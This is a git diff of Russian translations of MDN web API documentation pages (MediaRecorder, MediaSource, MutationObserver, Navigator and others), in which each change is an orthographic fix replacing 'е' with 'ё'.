-<p>В этом примере показано, как создать медиа рекордер для указанного потока, чья скорость передачи звука составляет 128 Кбит / с, а скорость передачи видео - 2,5 Мбит / с. Записанные мультимедийные данные будут храниться в контейнере MP4 (поэтому, если вы соберете порции мультимедийных данных и сохраните их на диск, они будут в файле с разрешением MP4).</p> +<p>В этом примере показано, как создать медиа рекордер для указанного потока, чья скорость передачи звука составляет 128 Кбит / с, а скорость передачи видео - 2,5 Мбит / с. Записанные мультимедийные данные будут храниться в контейнере MP4 (поэтому, если вы соберёте порции мультимедийных данных и сохраните их на диск, они будут в файле с разрешением MP4).</p> <pre class="brush: js">... <code class="language-html"> diff --git a/files/ru/web/api/mediarecorder/ondataavailable/index.html b/files/ru/web/api/mediarecorder/ondataavailable/index.html index 25d0607f41..884d008564 100644 --- a/files/ru/web/api/mediarecorder/ondataavailable/index.html +++ b/files/ru/web/api/mediarecorder/ondataavailable/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/MediaRecorder/ondataavailable <li>Когда медиа поток завершается, любые мультимедийные данные ещё не доставленные в обработчик <code>ondataavailable</code> немедленно передаются в объект {{domxref("Blob")}}.</li> <li>При вызове метода {{domxref("MediaRecorder.stop()")}} , порция медиаданных, объем которых был захвачен с момента начала записи или после последнего вызова события <code>dataavailable</code> помещаются в объект {{domxref("Blob")}}; после этого захват завершается.</li> <li>При вызове метода {{domxref("MediaRecorder.requestData()")}} порция медиаданных, объем которых был захвачен с момента начала записи, или после последнего вызова события <code>dataavailable</code> помещаются в вновь созданный объект типа <code>Blob</code> , и захват порций медиаданных продолжается уже в этот новый объект <code>blob</code>.</li> - <li>Если свойство <code>timeslice</code> передается в метод {{domxref("MediaRecorder.start()")}}, который запускает захват порций медиаданных, событие <code>dataavailable</code> запускается каждые <code>timeslice</code> миллисекунд. Это значит, что каждый объект типа <code>blob</code> будет иметь специфический размер (за исключением последнего, который может быть короче, содержащий все, что осталось с момента последнего события ). Поэтому, если метод выглядит так : <code>recorder.start(1000);</code> то событие <code>dataavailable</code> будет запускаться каждую секунду общего потока медиа захвата, и обработчик события будет вызываться каждую секунду, содержащий в параметре объект типа <code>blob</code> , который будет содержать объем порции записи медиаданных продолжительностью в одну секунду. Можно использовать свойство <code>timeslice</code> вместе с {{domxref("MediaRecorder.stop()")}} и {{domxref("MediaRecorder.requestData()")}} для создания нескольких объектов типа<code> blob</code> одинакового объема данных , плюс последние короткие объекты типа<code> blob.</code></li> + <li>Если свойство <code>timeslice</code> передаётся в метод {{domxref("MediaRecorder.start()")}}, который запускает захват порций медиаданных, событие <code>dataavailable</code> запускается каждые <code>timeslice</code> миллисекунд. Это значит, что каждый объект типа <code>blob</code> будет иметь специфический размер (за исключением последнего, который может быть короче, содержащий все, что осталось с момента последнего события ). Поэтому, если метод выглядит так : <code>recorder.start(1000);</code> то событие <code>dataavailable</code> будет запускаться каждую секунду общего потока медиа захвата, и обработчик события будет вызываться каждую секунду, содержащий в параметре объект типа <code>blob</code> , который будет содержать объем порции записи медиаданных продолжительностью в одну секунду. Можно использовать свойство <code>timeslice</code> вместе с {{domxref("MediaRecorder.stop()")}} и {{domxref("MediaRecorder.requestData()")}} для создания нескольких объектов типа<code> blob</code> одинакового объёма данных , плюс последние короткие объекты типа<code> blob.</code></li> </ul> <div class="note"> diff --git a/files/ru/web/api/mediasource/index.html b/files/ru/web/api/mediasource/index.html index 86746ab4e1..6701b14112 100644 --- a/files/ru/web/api/mediasource/index.html +++ b/files/ru/web/api/mediasource/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/MediaSource <dl> <dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt> - <dd>Создает и возвращает новый объект <code>MediaSource</code> не имеющий подключенных буферов данных.</dd> + <dd>Создаёт и возвращает новый объект <code>MediaSource</code> не имеющий подключённых буферов данных.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -31,7 +31,7 @@ translation_of: Web/API/MediaSource <dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt> <dd>Возвращает объект типа {{domxref("SourceBufferList")}} содержащий подмножество объектов типа {{domxref("SourceBuffer")}} хранящих в себе другие объекты типа {{domxref("SourceBuffers")}} — список объектов, предоставляющих доступ к выбранному видео, доступным аудиодорожкам, текстовым данным и тд.</dd> <dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt> - <dd>Возвращает enum, отображающий состояние текущего <code>MediaSource-объекта</code>, будь то отсутствие подключения к медиа-элементу(<code>closed</code>), подключенный и готовый к передаче объектов типа {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), или подключенный, но с завершенным потоком {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd> + <dd>Возвращает enum, отображающий состояние текущего <code>MediaSource-объекта</code>, будь то отсутствие подключения к медиа-элементу(<code>closed</code>), подключённый и готовый к передаче объектов типа {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), или подключённый, но с завершённым потоком {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd> <dt>{{domxref("MediaSource.duration")}}</dt> <dd>Возвращает или устанавливает продолжительность предоставляемых медиаданных.</dd> </dl> @@ -48,7 +48,7 @@ translation_of: Web/API/MediaSource <dl> <dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt> - <dd>Создает новый объект типа {{domxref("SourceBuffer")}}, с указанным MIME-типом и добавляет в список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd> + <dd>Создаёт новый объект типа {{domxref("SourceBuffer")}}, с указанным MIME-типом и добавляет в список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd> <dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt> <dd>Удаляет указанный {{domxref("SourceBuffer")}} из списка {{domxref("SourceBuffers")}}, связанного с текущим <code>MediaSource-объектом</code>.</dd> <dt>{{domxref("MediaSource.endOfStream()")}}</dt> @@ -62,7 +62,7 @@ translation_of: Web/API/MediaSource <h2 id="Примеры">Примеры</h2> -<p>Нижеприведенный простой пример подгружает видео фрагмент за фрагментом так скоро, как может, воспроизводя их "как только так сразу". Этот пример был написан Nick Desaulniers и может быть <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрен здесь в виде демо</a> (также вы можете <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">загрузить исходный код</a> для дальнейшего изучения.)</p> +<p>Нижеприведённый простой пример подгружает видео фрагмент за фрагментом так скоро, как может, воспроизводя их "как только так сразу". Этот пример был написан Nick Desaulniers и может быть <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрен здесь в виде демо</a> (также вы можете <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">загрузить исходный код</a> для дальнейшего изучения.)</p> <pre class="brush: js">var video = document.querySelector('video'); diff --git a/files/ru/web/api/mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/index.html index 7907634ec2..077c3c82a9 100644 --- a/files/ru/web/api/mediastream_recording_api/index.html +++ b/files/ru/web/api/mediastream_recording_api/index.html @@ -16,14 +16,14 @@ translation_of: Web/API/MediaStream_Recording_API <li>Установите {{domxref("MediaRecorder.ondataavailable")}} обработчик событий для {{event("dataavailable")}} событий; он будет вызываться каждый раз, как данные будут доступны.</li> <li>Создайте {{domxref("MediaRecorder")}} объект, указав исходный поток и любые опции по желанию (такие как MIME-тип контейнера или желаемый битрейт его треков).</li> <li>Как только исходная медиа запустится и будет достигнута точка, где вы будете готовы записать видео, вызовите {{domxref("MediaRecorder.start()")}} для начала записи.</li> - <li>Ваш {{event("dataavailable")}} обработчик будет вызываться каждый раз, как появляются данные, готовые для выполнения вами над ними ожидаемых операций; событие имеет дата-атрибут, чье значение {{domxref("Blob")}}, который содержит медиа-данные. Вы можете принудительно вызвать <code>dataavailable</code> событие, доставляя тем самым последние данные, чтобы вы могли отфильтровать их, сохранить и тд.</li> + <li>Ваш {{event("dataavailable")}} обработчик будет вызываться каждый раз, как появляются данные, готовые для выполнения вами над ними ожидаемых операций; событие имеет дата-атрибут, чьё значение {{domxref("Blob")}}, который содержит медиа-данные. Вы можете принудительно вызвать <code>dataavailable</code> событие, доставляя тем самым последние данные, чтобы вы могли отфильтровать их, сохранить и тд.</li> <li>Запись останавливается автоматически, когда исходное медиа закончит проигрываться.</li> <li>Вы можете остановить запись в любое время, вызвав {{domxref("MediaRecorder.stop()")}}.</li> </ol> <p>Вы можете так же использовать свойства MediaRecorder объекта для определения состояния процесса записи и его {{domxref("MediaRecorder.pause", "pause()")}} и {{domxref("MediaRecorder.resume", "resume()")}} методы, чтобы остановить и возобновить запись исходной медиа.</p> -<p>Если вам нужно или вы хотите проверить, поддерживается ли определенный MIME-тип, это так же возможно. Просто вызовите {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p> +<p>Если вам нужно или вы хотите проверить, поддерживается ли определённый MIME-тип, это так же возможно. Просто вызовите {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p> <p>Чтобы узнать больше о MediaStream Recording API, смотрите <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a>, который показывает, как использовать API для записи аудио клипов. Другая статья, <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a>, описывает, как получить поток из {{HTMLElement("audio")}} или {{HTMLElement("video")}} элементов и использовать захватывающие потоки (в этом случае, запись и сохранение их на локальный диск).</p> diff --git a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html index 0ba9e31501..ff5714a279 100644 --- a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html +++ b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html @@ -108,7 +108,7 @@ h2 { <h3 id="Установка_глобальных_переменных">Установка глобальных переменных</h3> -<p>Мы начнем с установления некоторых глобальных переменных, которые нам понадобятся.</p> +<p>Мы начнём с установления некоторых глобальных переменных, которые нам понадобятся.</p> <pre class="brush: js">let preview = document.getElementById("preview"); let recording = document.getElementById("recording"); diff --git a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html index fb0c2b27b2..f0ce6a6e5b 100644 --- a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html +++ b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recordin <h2 id="CSS_плюшки">CSS плюшки</h2> -<p>Разметка HTML довольно проста, поэтому не будем ее рассматривать подробно, но есть более интересные места в CSS, которые стоило бы отметить, и о которых поговорим ниже. Если вам не интересна тема CSS , и хотите сразу приступить к JavaScript, то перейдите к части основных настроек приложения {{anch("Basic app setup")}}.</p> +<p>Разметка HTML довольно проста, поэтому не будем её рассматривать подробно, но есть более интересные места в CSS, которые стоило бы отметить, и о которых поговорим ниже. Если вам не интересна тема CSS , и хотите сразу приступить к JavaScript, то перейдите к части основных настроек приложения {{anch("Basic app setup")}}.</p> <h3 id="Сохраняйте_интерфейс_ограниченным_областью_просмотра_независимо_от_высоты_устройства_с_функцией_calc">Сохраняйте интерфейс ограниченным областью просмотра, независимо от высоты устройства, с функцией calc()</h3> @@ -70,7 +70,7 @@ translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recordin top: -100px; }</pre> -<p>Затем стилизуем блок информации (обернутый в элемент {{htmlelement("aside")}}) по вкусу, давая ему фиксированную позицию, так что бы он не показывался в потоке разметки и влиял на основной интерфейс, трансформируем его позицию функцией трансформации, определяя его место по умолчанию, и меняем значение функции трансформации для плавного его отображения/скрытия:</p> +<p>Затем стилизуем блок информации (обёрнутый в элемент {{htmlelement("aside")}}) по вкусу, давая ему фиксированную позицию, так что бы он не показывался в потоке разметки и влиял на основной интерфейс, трансформируем его позицию функцией трансформации, определяя его место по умолчанию, и меняем значение функции трансформации для плавного его отображения/скрытия:</p> <pre class="brush: css">aside { position: fixed; @@ -124,7 +124,7 @@ const soundClips = document.querySelector('.sound-clips');</pre> console.log('getUserMedia not supported on your browser!'); }</pre> -<p>Все обернуто в условный тест, проверяющий поддержку <code>getUserMedia</code> до запуска чего нибудь. Затем вызываем <code>getUserMedia()</code> и внутри определяем:</p> +<p>Все обёрнуто в условный тест, проверяющий поддержку <code>getUserMedia</code> до запуска чего нибудь. Затем вызываем <code>getUserMedia()</code> и внутри определяем:</p> <ul> <li><strong>Ограничения </strong>: Приложению нужен только аудиопоток .</li> @@ -138,7 +138,7 @@ const soundClips = document.querySelector('.sound-clips');</pre> <h2 id="Захват_медиа_потока">Захват медиа потока</h2> -<p>Как только функция <code>getUserMedia</code> успешно получила медиапоток, создаем новый объект типа Media Recorder конструктором <code>MediaRecorder()</code> и передаем ему поток, полученный функцией. Это точка входа использования интерфейса MediaRecorder — теперь поток готов для захвата и упаковки в объект {{domxref("Blob")}}, в формате по умолчанию, установленного для браузера.</p> +<p>Как только функция <code>getUserMedia</code> успешно получила медиапоток, создаём новый объект типа Media Recorder конструктором <code>MediaRecorder()</code> и передаём ему поток, полученный функцией. Это точка входа использования интерфейса MediaRecorder — теперь поток готов для захвата и упаковки в объект {{domxref("Blob")}}, в формате по умолчанию, установленного для браузера.</p> <pre class="brush: js">const mediaRecorder = new MediaRecorder(stream);</pre> @@ -213,11 +213,11 @@ mediaRecorder.ondataavailable = function(e) { } }</pre> -<p>Пройдем весь код выше и посмотрим, что он делает.</p> +<p>Пройдём весь код выше и посмотрим, что он делает.</p> <p>Сначала отображаем пользователю диалог с запросом имени будущей записи.</p> -<p>Затем создаем структуру HTML , вставляя её в контейнер, представляющийся элементом {{htmlelement("article")}} .</p> +<p>Затем создаём структуру HTML , вставляя её в контейнер, представляющийся элементом {{htmlelement("article")}} .</p> <pre class="brush: html"><article class="clip"> <audio controls></audio> @@ -225,7 +225,7 @@ mediaRecorder.ondataavailable = function(e) { <button>Delete</button> </article></pre> -<p>После этого создаем объект {{domxref("Blob")}} с комбинацией наших записанных частей аудио и создаем объект URL ссылающийся на него, используя метод <code>window.URL.createObjectURL(blob)</code>. Затем устанавливаем значение атрибута {{htmlattrxref("src", "audio")}} элемента {{HTMLElement("audio")}} в созданный объект URL, так, что бы при нажатии на кнопку воспроизведения объект <code>Blob</code> передал свои данные элементу.</p> +<p>После этого создаём объект {{domxref("Blob")}} с комбинацией наших записанных частей аудио и создаём объект URL ссылающийся на него, используя метод <code>window.URL.createObjectURL(blob)</code>. Затем устанавливаем значение атрибута {{htmlattrxref("src", "audio")}} элемента {{HTMLElement("audio")}} в созданный объект URL, так, что бы при нажатии на кнопку воспроизведения объект <code>Blob</code> передал свои данные элементу.</p> <p>Наконец, устанавливаем обработчик события <code>onclick</code> на кнопке удаления, для удаления всей структуры HTML проигрывания результата записи (элемент clip).</p> diff --git a/files/ru/web/api/mediastreamtrack/index.html b/files/ru/web/api/mediastreamtrack/index.html index 5a2bbeed09..489c5d5196 100644 --- a/files/ru/web/api/mediastreamtrack/index.html +++ b/files/ru/web/api/mediastreamtrack/index.html @@ -45,7 +45,7 @@ translation_of: Web/API/MediaStreamTrack <dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt> <dd>Возвращает одно из следующих значений, обозначающих статус трека: <ul> - <li><code>"live"</code> означает, что источник подключен и делает всё, чтобы предоставить данные в реальном времени. В этом случае, поток данных можно включать и выключать с помощью свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li> + <li><code>"live"</code> означает, что источник подключён и делает всё, чтобы предоставить данные в реальном времени. В этом случае, поток данных можно включать и выключать с помощью свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li> <li><code>"ended"</code> означает, что источник больше не предоставляет и больше не будет предоставлять данные.</li> </ul> </dd> diff --git a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html index 6caa568f39..38d17c9257 100644 --- a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html +++ b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html @@ -34,7 +34,7 @@ original_slug: Web/API/MediaTrackConstraints/Эхоподавление <h3 id="Значение">Значение</h3> -<p>Если это значение является простым <code>true</code> или <code>false</code>, пользовательский агент попытается получить медиа с включенным или отключенным эхоподавлением, если это возможно, но не вернет ошибку, если это невозможно сделать. Иначе если значение передано как объект с полем <code>exact</code> , то логическое значение этого поля указывает обязательную настройку для эхоподавления; если это не может быть выполнены - запрос вернет ошибку.</p> +<p>Если это значение является простым <code>true</code> или <code>false</code>, пользовательский агент попытается получить медиа с включённым или отключённым эхоподавлением, если это возможно, но не вернёт ошибку, если это невозможно сделать. Иначе если значение передано как объект с полем <code>exact</code> , то логическое значение этого поля указывает обязательную настройку для эхоподавления; если это не может быть выполнены - запрос вернёт ошибку.</p> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/mouseevent/index.html b/files/ru/web/api/mouseevent/index.html index 23266c8feb..3d7e42d675 100644 --- a/files/ru/web/api/mouseevent/index.html +++ b/files/ru/web/api/mouseevent/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/MouseEvent <dl> <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt> - <dd>Создает объект <code>MouseEvent</code>.</dd> + <dd>Создаёт объект <code>MouseEvent</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/mouseevent/screenx/index.html b/files/ru/web/api/mouseevent/screenx/index.html index 93b35759e8..4e6ee2a42c 100644 --- a/files/ru/web/api/mouseevent/screenx/index.html +++ b/files/ru/web/api/mouseevent/screenx/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/MouseEvent/screenX <h4 id="HTML">HTML</h4> -<pre class="brush: html"><p>Подвигайте мышью, чтобы увидеть положение ее курсора.</p> +<pre class="brush: html"><p>Подвигайте мышью, чтобы увидеть положение её курсора.</p> <p id="screen-log"></p></pre> <h4 id="JavaScript">JavaScript</h4> diff --git a/files/ru/web/api/mutationobserver/index.html b/files/ru/web/api/mutationobserver/index.html index 6afd425cc2..3f0fbf8ca5 100644 --- a/files/ru/web/api/mutationobserver/index.html +++ b/files/ru/web/api/mutationobserver/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/MutationObserver <dl> <dt>{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}</dt> - <dd>Создает и возвращает новый <code>MutationObserver</code>, который вызовет определенную колбэк-функцию при изменении в DOM.</dd> + <dd>Создает и возвращает новый <code>MutationObserver</code>, который вызовет определённую колбэк-функцию при изменении в DOM.</dd> </dl> <h2 id="Параметры">Параметры</h2> @@ -91,7 +91,7 @@ translation_of: Web/API/MutationObserver <tr> <td><code>attributeFilter</code></td> <td> - <p>Устанавливает массив названий атрибутов (без указания пространства имен), если требуется наблюдать за изменениями конкретных атрибутов. </p> + <p>Устанавливает массив названий атрибутов (без указания пространства имён), если требуется наблюдать за изменениями конкретных атрибутов. </p> </td> </tr> </tbody> @@ -126,7 +126,7 @@ const callback = function(mutationsList, observer) { } }; -// Создаем<code> </code>экземпляр наблюдателя с указанной функцией колбэка +// Создаём<code> </code>экземпляр наблюдателя с указанной функцией колбэка const observer = new MutationObserver(callback); // Начинаем наблюдение за настроенными изменениями целевого элемента<code> diff --git a/files/ru/web/api/namednodemap/index.html b/files/ru/web/api/namednodemap/index.html index 2ea97e0010..d681c41a11 100644 --- a/files/ru/web/api/namednodemap/index.html +++ b/files/ru/web/api/namednodemap/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/NamedNodeMap --- <div>{{APIRef("DOM")}}</div> -<p>Интерфейс <code><strong>NamedNodeMap</strong></code> представляет собой коллекцию объектов {{domxref("Attr")}}. Объекты внутри <code>NamedNodeMap</code> не находятся в каком-либо определенном порядке, в отличие от {{domxref("NodeList")}}, хотя они могут быть доступны при использовании индекса, как в массиве.</p> +<p>Интерфейс <code><strong>NamedNodeMap</strong></code> представляет собой коллекцию объектов {{domxref("Attr")}}. Объекты внутри <code>NamedNodeMap</code> не находятся в каком-либо определённом порядке, в отличие от {{domxref("NodeList")}}, хотя они могут быть доступны при использовании индекса, как в массиве.</p> <p>Объект NamedNodeMap является "живым" и, таким образом, будет автоматически обновляться, если изменения будут внесены в его содержимое внутри или в другом месте.</p> @@ -36,11 +36,11 @@ translation_of: Web/API/NamedNodeMap <dt>{{domxref("NamedNodeMap.item()")}}</dt> <dd>Возвращает значение {{domxref ("Attr")}} по заданному индексу или null, если индекс больше или равен числу узлов.</dd> <dt>{{domxref("NamedNodeMap.getNamedItemNS()")}}</dt> - <dd>Возвращает {{domxref ("Attr")}}, идентифицированный пространством имен и связанным локальным именем.</dd> + <dd>Возвращает {{domxref ("Attr")}}, идентифицированный пространством имён и связанным локальным именем.</dd> <dt>{{domxref("NamedNodeMap.setNamedItemNS()")}}</dt> - <dd>Заменяет или добавляет {{domxref ("Attr")}}, идентифицированный в объекте NamedNodeMap данным пространством имен и связанным локальным именем.</dd> + <dd>Заменяет или добавляет {{domxref ("Attr")}}, идентифицированный в объекте NamedNodeMap данным пространством имён и связанным локальным именем.</dd> <dt>{{domxref("NamedNodeMap.removeNamedItemNS()")}}</dt> - <dd>Удаляет {{domxref ("Attr")}}, идентифицированный данным пространством имен и связанным локальным именем.</dd> + <dd>Удаляет {{domxref ("Attr")}}, идентифицированный данным пространством имён и связанным локальным именем.</dd> </dl> <h2 id="Specifications">Specifications</h2> @@ -77,7 +77,7 @@ translation_of: Web/API/NamedNodeMap <h2 id="Browser_compatibility">Browser compatibility</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.NamedNodeMap")}}</p> diff --git a/files/ru/web/api/navigation_timing_api/index.html b/files/ru/web/api/navigation_timing_api/index.html index 444e3f47b5..be889bd69f 100644 --- a/files/ru/web/api/navigation_timing_api/index.html +++ b/files/ru/web/api/navigation_timing_api/index.html @@ -69,7 +69,7 @@ translation_of: Web/API/Navigation_timing_API <tr> <td><a name="const_next_no_duplicate"><code>TYPE_RELOAD</code></a></td> <td>1</td> - <td>Навигация путем перегрузки страницы или выполнения метода location.reload().</td> + <td>Навигация путём перегрузки страницы или выполнения метода location.reload().</td> </tr> <tr> <td><a name="const_prev"><code>TYPE_BACK_FORWARD</code></a></td> diff --git a/files/ru/web/api/navigator/battery/index.html b/files/ru/web/api/navigator/battery/index.html index 07f8e7f84b..4ca4b15feb 100644 --- a/files/ru/web/api/navigator/battery/index.html +++ b/files/ru/web/api/navigator/battery/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/battery --- <p>{{ ApiRef("Battery API") }}{{deprecated_header}}</p> -<p>Свойство <code>battery</code> только для чтения возвращающее {{DOMxRef("BatteryManager")}} которое дает информацию об уровне заряда системной батареи; предоставляет также некоторые новые события, <span id="result_box" lang="ru"><span class="hps">которые вы</span> <span class="hps">можете</span> <span class="hps">обрабатывать</span> <span class="hps">и контролируя состояние батареи</span><span>.</span></span>Оно реализует <a href="/en-US/docs/WebAPI/Battery_Status">API состояния батареи</a>;<span id="result_box" lang="ru"><span class="hps"> смотрите</span> <span class="hps">документацию</span> <span class="hps">для получения дополнительной информации</span><span>, руководство</span> <span class="hps">по использованию</span> <span class="hps">API</span> <span class="hps">и примеры кода</span><span>.</span></span></p> +<p>Свойство <code>battery</code> только для чтения возвращающее {{DOMxRef("BatteryManager")}} которое даёт информацию об уровне заряда системной батареи; предоставляет также некоторые новые события, <span id="result_box" lang="ru"><span class="hps">которые вы</span> <span class="hps">можете</span> <span class="hps">обрабатывать</span> <span class="hps">и контролируя состояние батареи</span><span>.</span></span>Оно реализует <a href="/en-US/docs/WebAPI/Battery_Status">API состояния батареи</a>;<span id="result_box" lang="ru"><span class="hps"> смотрите</span> <span class="hps">документацию</span> <span class="hps">для получения дополнительной информации</span><span>, руководство</span> <span class="hps">по использованию</span> <span class="hps">API</span> <span class="hps">и примеры кода</span><span>.</span></span></p> <div class="note"> <p>Свойство <code>battery</code> устарело и было заменено {{DOMxRef("Navigator.getBattery()")}}. Метод возвращает {{DOMxRef("Promise")}}. Хотя оно частично поддерживается.</p> diff --git a/files/ru/web/api/navigator/cookieenabled/index.html b/files/ru/web/api/navigator/cookieenabled/index.html index ee1d6c8fcb..d04a4659e9 100644 --- a/files/ru/web/api/navigator/cookieenabled/index.html +++ b/files/ru/web/api/navigator/cookieenabled/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Navigator/cookieEnabled <h2 id="Example" name="Example">Пример</h2> <pre class="brush: js">if (!navigator.cookieEnabled) { - // пусть пользователь знает, что включенные куки делают страницу более полезной. + // пусть пользователь знает, что включённые куки делают страницу более полезной. </pre> <h2 id="Совместимость_в_браузере">Совместимость в браузере</h2> diff --git a/files/ru/web/api/navigator/geolocation/index.html b/files/ru/web/api/navigator/geolocation/index.html index c459c40672..7f58143885 100644 --- a/files/ru/web/api/navigator/geolocation/index.html +++ b/files/ru/web/api/navigator/geolocation/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/geolocation --- <p>{{ APIRef("Geolocation API") }}</p> -<p>Свойство <strong><code>Navigator.geolocation</code></strong> только для чтения, возвращающие объект {{domxref("Geolocation")}}, который дает веб контенту доступ к месторасположению устройства. Это позволяет веб-сайту или приложению предложить индивидуальный результат основанный на месторасположении пользователя.</p> +<p>Свойство <strong><code>Navigator.geolocation</code></strong> только для чтения, возвращающие объект {{domxref("Geolocation")}}, который даёт веб контенту доступ к месторасположению устройства. Это позволяет веб-сайту или приложению предложить индивидуальный результат основанный на месторасположении пользователя.</p> <div class="note"> <p><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span> </strong><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">когда</span> <span class="hps">веб-страница</span> <span class="hps">пытается</span> <span class="hps">получить доступ к информации</span> <span class="hps">о местоположении,</span> <span class="hps">пользователь получает уведомление</span> <span class="hps">с просьбой</span> <span class="hps">дать разрешение</span><span>.</span></span><span id="result_box" lang="ru"><span class="hps"> Помните, что</span> <span class="hps">каждый браузер</span> <span class="hps">имеет свои</span> <span class="hps">собственные правила</span> <span class="hps">и методы</span> <span class="hps">для запроса</span> <span class="hps">этого разрешения</span><span>.</span></span></p> diff --git a/files/ru/web/api/navigator/getgamepads/index.html b/files/ru/web/api/navigator/getgamepads/index.html index bc5200cbe1..6864d08b0f 100644 --- a/files/ru/web/api/navigator/getgamepads/index.html +++ b/files/ru/web/api/navigator/getgamepads/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/getGamepads --- <p>{{APIRef("Gamepad API")}}{{SeeCompatTable}}</p> -<p><strong><code>Navigator.getGamepads()</code></strong> метод, возвращающий массив {{ domxref("Gamepad") }} объектов, по одному для каждого геймпада, подключенному к устройству.</p> +<p><strong><code>Navigator.getGamepads()</code></strong> метод, возвращающий массив {{ domxref("Gamepad") }} объектов, по одному для каждого геймпада, подключённому к устройству.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/navigator/getvrdisplays/index.html b/files/ru/web/api/navigator/getvrdisplays/index.html index 4c37427910..cb4f67d313 100644 --- a/files/ru/web/api/navigator/getvrdisplays/index.html +++ b/files/ru/web/api/navigator/getvrdisplays/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/getVRDisplays --- <div>{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</div> -<p>Метод <strong><code>getVRDisplays()</code></strong> интерфейса {{domxref("Navigator")}} возвращает объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, из которого можно получить массив объектов типа {{domxref("VRDisplay")}}, являющихся отображением любого доступного из подключенных к компьютеру VR устройств.</p> +<p>Метод <strong><code>getVRDisplays()</code></strong> интерфейса {{domxref("Navigator")}} возвращает объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, из которого можно получить массив объектов типа {{domxref("VRDisplay")}}, являющихся отображением любого доступного из подключённых к компьютеру VR устройств.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/navigator/index.html b/files/ru/web/api/navigator/index.html index b653f5af33..136e313b2c 100644 --- a/files/ru/web/api/navigator/index.html +++ b/files/ru/web/api/navigator/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/Navigator <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Geolocation")}} объект, позволяющий получить доступ к местоположению устройства.</dd> <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Возвращает {{domxref("Boolean")}} флаг, показывающий включен ли в браузере java или нет.</dd> + <dd>Возвращает {{domxref("Boolean")}} флаг, показывающий включён ли в браузере java или нет.</dd> <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref ("DOMString")}}, представляющий предпочитаемый пользователем язык, как правило это язык пользовательского интерфейса браузера. Значение <code>null</code> возвращается, когда язык 